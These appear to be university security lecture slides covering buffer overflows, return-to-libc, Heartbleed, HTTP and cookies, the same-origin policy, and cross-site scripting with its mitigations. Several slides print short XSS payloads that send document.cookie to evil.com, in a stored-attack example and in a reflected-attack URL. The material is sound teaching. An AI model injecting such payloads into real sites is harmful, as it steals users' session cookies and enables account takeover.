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Announcements

• Forensics project due on April 4
• Exploit project will be released on Friday and due on April 17
• Final exam
• Take home
• Released on April 13 at 11:45am EST, due on April 14 at noon
• Submitted through Gradescope
• Questions on the material to test general understanding
• Might include questions from the “Countdown to Zero Day” book
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Outline

• Last lecture: 
• Buffer Overflows Attacks 
• C examples
• Mitigations 

• Today: return-to-libc, Heartbleed
•Web-based attacks: XSS 
• SQL Basics
• SQL Injection
• Patches 

3



Memory Corruption

• Programs often contain bugs that corrupt stack memory
• Usually, this just causes a program crash
• The infamous “segmentation” or “page” fault

• To an attacker, every bug is an opportunity
• Try to modify program data in very specific ways

• Vulnerability stems from several factors
• Low-level languages are not memory-safe
• Control information is stored inline with user data on the stack
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Mitigations
• Stack canaries
• Compiler adds special sentinel values onto the stack before each saved IP
• Canary is set to a random value in each frame
• At function exit, canary is checked
• If expected number isn’t found, program closes with an error

• Non-executable stacks
• Modern CPUs set stack memory as read/write, but no eXecute
• Prevents shellcode from being placed on the stack

• Address space layout randomization
• Operating system feature
• Randomizes the location of program and data memory each time a program 

executes
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Other Targets and Methods

• Existing mitigations make attacks harder, but not impossible
• Many other memory corruption bugs can be exploited
• Integer overflow / underflow
• Saved function pointers
• Heap data structures (malloc overflow, double free, etc.)
• Vulnerable format strings
• Virtual tables (C++)

• No need for shellcode in many cases
• Existing program code can be repurposed in malicious ways
• Return to libc
• Return-oriented programming
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Return-to-libc Attack Memory

argv

argc

buffer

IP = 7IP = 900

system()

“/bin/sh”

:900
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system(“/bin/sh”): creates a shell



HeartBleed

• Serious vulnerability OpenSSL versions 1.0.1 – 1.0.1f
• Publicly revealed April 7, 2014
• Exploits a bug in the TLS heartbeat extension

• Allows adversaries to read memory of vulnerable services
• i.e., buffer over-read vulnerability
• Discloses addresses, sensitive data, potentially TLS secret keys

• Major impact
• OpenSSL is the de facto standard implementation of TLS, so used everywhere
• Many exposed services, often on difficult-to-patch devices
• Trivial to exploit
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Heartbleed Exploit Example

BofA SBofAHeartbeat(str=“”, len=65535)

Echo(“A$fskndvknla… CERTIFICATE – PRIVATE 
KEY 234nwlkw3rFAF … *$DvdsaeE”)

Heartbeat(str=“Hello”, len=5)

Echo(“Hello”)
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Review 

• Programs are vulnerable to memory corruption
• Buffer overflow attacks
• Make programs crash
• Run malicious code 
• Use disassembly to learn address space of program and craft attack
• More advanced attacks (return-to-libc)

• Mitigations: stack canaries, non-executable stacks, ASLR
• Implemented in modern compilers
• Still examples of vulnerabilities in the wild (HeartBleed)
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Hypertext Transfer Protocol
Requests and Responses
Same Origin Policy
Cookies
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HTTP Protocol

• Hypertext Transfer Protocol
• Client/server protocol
• Intended for downloading HTML documents
• Can be generalized to download any kind of file

• HTTP message format
• Text based protocol, almost always over TCP
• Stateless

• Requests and responses must have a header, body is optional
• Headers includes key: value pairs
• Body typically contains a file (GET) or user data (POST)

• Various versions
• 0.9 and 1.0 are outdated, 1.1 is most common, 2.0 has just been ratified
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URL Example
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DNS translates domain names to IP addresses



HTTP Request Example

GET /index.html HTTP/1.1

Host: www.reddit.com

Connection: keep-alive

Accept: text/html,application/xhtml+xml

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/65.0.3325.51 

Accept-Encoding: gzip,deflate,sdch

Accept-Language: en-US,en;q=0.8

Referer: www.google.com/search

Method, resource, and version
Contacted domain

Connection type
Accepted file types

Your browser and OS
Compressed responses?
Your preferred language

Previous site you were browsing
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HTTP Request Methods

Verb Description

GET Retrieve resource at a given path

POST Submit data to a given path, might create resources as new paths

HEAD Identical to a GET, but response omits body

PUT Submit data to a given path, creating resource if it exists or 
modifying existing resource at that path

DELETE Deletes resource at a given path
TRACE Echoes request

OPTIONS Returns supported HTTP methods given a path

CONNECT Creates a tunnel to a given network location

99.9% of all 
HTTP requests

Rarely used

Only for HTTP 
proxies 15



HTTP Response Example

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Cache-Control: no-cache

Content-Encoding: gzip

Content-Length 24824

Server: Apache 2.4.2

Date: Mon, 12 Feb 2018 22:44:23 GMT

Connection: keep-alive

[response content goes down here]

Version and status code
File type of response
Cache the response?

Response is compressed?
Length of response content

Info about the web server

Close the connection?

• 3 digit response codes
• 1XX – informational
• 2XX – success
• 200 OK

• 3XX – redirection
• 4XX – client error
• 404 Not Found

• 5XX – server error
• 505 HTTP Version 

Not Supported
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Web Pages

• Multiple (typically small) objects 
per page 
• E.g., each image, JS, CSS, etc. 

downloaded separately

• Single page can have 100s of 
HTTP transactions!
• File sizes are heavy-tailed
• Most transfers/objects very small

• DOM (Document Object Model)
• API for HTML

<!doctype html>

<html>
<head>

<title>Hello World</title>
<script src=“../jquery.js”></script>

</head>
<body>

<h1>Hello World</h1>
<img src=“/img/my_picture.jpg"></img>

<p>
Here is a cute
<a href=”cat_site.html">cat site</a>

</p>
<img

src=“http://www.images.com/cat.jpg"></img>
</body>

</html>

4 total objects:
1 HTML,

1 JavaScript,
2 images
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Cookies
• Cookies are a basic mechanism for persistent state
• Allows services to store a small amount of data at the client (usually ~4K)
• Often used for identification, authentication, user tracking
• HTTP is a stateless protocol

• Multiple cookies can be set by the same site
• Cookie attributes
• Expiration
• Secure: sent over HTTPS

• document.cookie: retrieves all cookies for domain
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Cookie Example
Client Side Server Side

GET /login_form.html HTTP/1.1

HTTP/1.1 200 OK

POST /cgi/login.sh HTTP/1.1

HTTP/1.1 302 Found
Set-Cookie: session=FhizeVYSkS7X2K

GET /my_files.html HTTP/1.
Cookie: session=FhizeVYSkS7X2K;

HTTP/1.1 200 OK

GET /private_data.html HTTP/1.1
Cookie: session=FhizeVYSkS7X2K;

Store the cookie

If credentials are correct:
1. Generate a random token
2. Store token in the database
3. Send token to the client

1. Check token in the database
2. If it exists, user is authenticated 
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What About JavaScript?

• Javascript enables dynamic inclusion of objects

document.write('<img src=“http://example.com/?c=' + document.cookie
+ '></img>');

• A webpage may include objects and code from multiple domains
• Should Javascript from one domain be able to access objects in other 

domains?

<script src=‘https://code.jquery.com/jquery-2.1.3.min.js’></script>
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Securing the Browser

• Browsers have become incredibly complex
• Ability to open multiple pages at the same time (tabs and windows)
• Execute arbitrary code (JavaScript)
• Store state from many origins (cookies, etc.)

• How does the browser isolate code/data from different pages?
• One page shouldn’t be able to interfere with any others
• One page shouldn’t be able to read private data stored by any others

• Additional challenge: content may mix origins
• Web pages may embed images and scripts from other domains
• Dynamic content on the web

• Same Origin Policy
• Basis for all classical web security
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Same Origin Policy

• The Same-Origin Policy (SOP) states that subjects from one origin 
cannot access objects from another origin
• SOP is the basis of classic web security
• Some exceptions to this policy (unfortunately)
• SOP has been relaxed over  time to make controlled sharing easier

• SOP for cookies
• Domains are the origins
• Cookies are the subjects
• Cookies can be accessed only by the origin domain
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Cross-Site Scripting (XSS)
Threat Model
Reflected and Stored Attacks
Mitigations
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Focus on the Client

• Your browser stores a lot of sensitive information
• Your browsing history
• Saved usernames and passwords
• Saved forms (i.e. credit card numbers)
• Cookies (especially session cookies)

• Browsers try their hardest to secure this information
• i.e. prevent an attacker from stealing this information

• However, nobody is perfect ;)
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Web Threat Model

• Attacker’s goal:
• Steal information from your browser (i.e. your session cookie for bofa.com)

• Browser’s goal: isolate code from different origins
• Don’t allow the attacker to exfiltrate private information from your browser

• Attackers capability: trick you into clicking a link
• May direct to a site controlled by the attacker
• May direct to a legitimate site (but in a nefarious way…)
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Threat Model Assumptions
• Attackers cannot intercept, drop, or modify traffic
• No man-in-the-middle attacks

• DNS is trustworthy
• No DNS spoofing 

• TLS and CAs are trustworthy
• No stolen certs

• Scripts cannot escape browser isolation
• SOP restrictions are faithfully enforced

• Browser/plugins are free from vulnerabilities
• Not realistic, drive-by-download attacks are very common
• But, this restriction forces the attacker to be more creative ;)
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Cookie Exfiltration

document.write('<img src="http://evil.com/c.jpg?' +
document.cookie + '">');

• DOM API for cookie access (document.cookie)
• Often, the attacker's goal is to exfiltrate this property

• Exfiltration is restricted by SOP...somewhat
• Suppose you click a link directing to evil.com
• JS from evil.com cannot read cookies for bofa.com

• What about injecting code?
• If the attacker can somehow add code into bofa.com, the reading and exporting 

cookies is easy (see above)
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Cross-Site Scripting (XSS)

• Prevalent attack in the wild
• XSS refers to running code from an untrusted origin
• Usually a result of a document integrity violation

• Documents are compositions of trusted, developer-specified objects 
and untrusted input
• Allowing user input to be interpreted as document structure (i.e., elements) 

can lead to malicious code execution
• Typical goals
• Steal authentication credentials (session IDs)
• Or, more targeted unauthorized actions
• Run arbitrary code (malware) on clients
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Types of XSS

• Stored (Type 1)
• Attacker submits malicious code to server
• Server app persists malicious code to storage
• Victim accesses page that includes stored code

• Reflected (Type 2)
• Code is included as part of a malicious link
• Code included in page rendered by visiting link

• DOM-based (Type 3)
• Purely client-side injection
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Type 1: Stored XSS Attack
<script>document.write('<img 

src="http://evil.com/?'+document.cookie+'">');</script>

Origin: www.friendly.com
Cookie: session=xI4f-Qs02fd evil.com

friendly.com

5) GET /?session=…

3) GET /profile.php?uid=…

4) HTTP/1.1 200 OK
2) Send link to attacker’s 

profile to the victim

1) Post malicious JS to profile
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• Example: Search website
• Search term is in the URL GET request

Type 2: Reflected XSS Attack

websearch.com

GET search?q=keyword…

You searched keyword!
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Type 2: Reflected XSS Attack

http://www.websearch.com/search?q=<script>document.write('<img 
src="http://evil.com/?'+document.cookie+'">');</script>

Origin: www.websearch.com
Cookie: session=xI4f-Qs02fd evil.com

websearch.com

4) GET /?session=…

1) Site containing 
malicious link 

2) GET search?q=<script>…

3) HTTP/1.1 200 OK
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XSS Stored vs Reflected
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• Server-side defenses
• Input sanitization
• Not allow scripts

• Client-side defenses
• Filters; remove <script>



Mitigating XSS Attacks

• Client-side defenses
1. Cookie restrictions – Secure only
2. Client-side filter – X-XSS-Protection
• Enables heuristics in the browser that attempt to block injected scripts

• Challenge: very difficult to distinguish malicious and benign scripts

• Server-side defenses
3. Input validation 
4. Input sanitization

removing potentially malicious elements from data input
5. Web application firewall
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Example

• Potential defense
• Not allow <script> tags

• Attacker evasion
• Alternate character encoding
• Obfuscated input that might defeat filter
• =>    <script>
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